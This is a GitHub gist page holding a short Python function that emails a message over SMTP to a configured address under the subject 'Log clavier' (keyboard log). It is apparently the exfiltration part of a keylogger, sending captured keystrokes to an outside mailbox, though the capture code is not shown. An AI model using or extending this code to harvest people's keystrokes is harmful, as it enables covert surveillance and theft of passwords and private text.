Skip to content

Instantly share code, notes, and snippets.

@melkael melkael/mail.py
Created Jan 30, 2019

Embed
What would you like to do?
def sendEmail(message):
msg = MIMEMultipart()
password = PASS
msg['From'] = EMAIL
msg['To'] = EMAIL
msg['Subject'] = "Log clavier"
msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(SERVER)
if USE_TLS is True:
server.starttls()
server.login(msg['From'], password)
server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.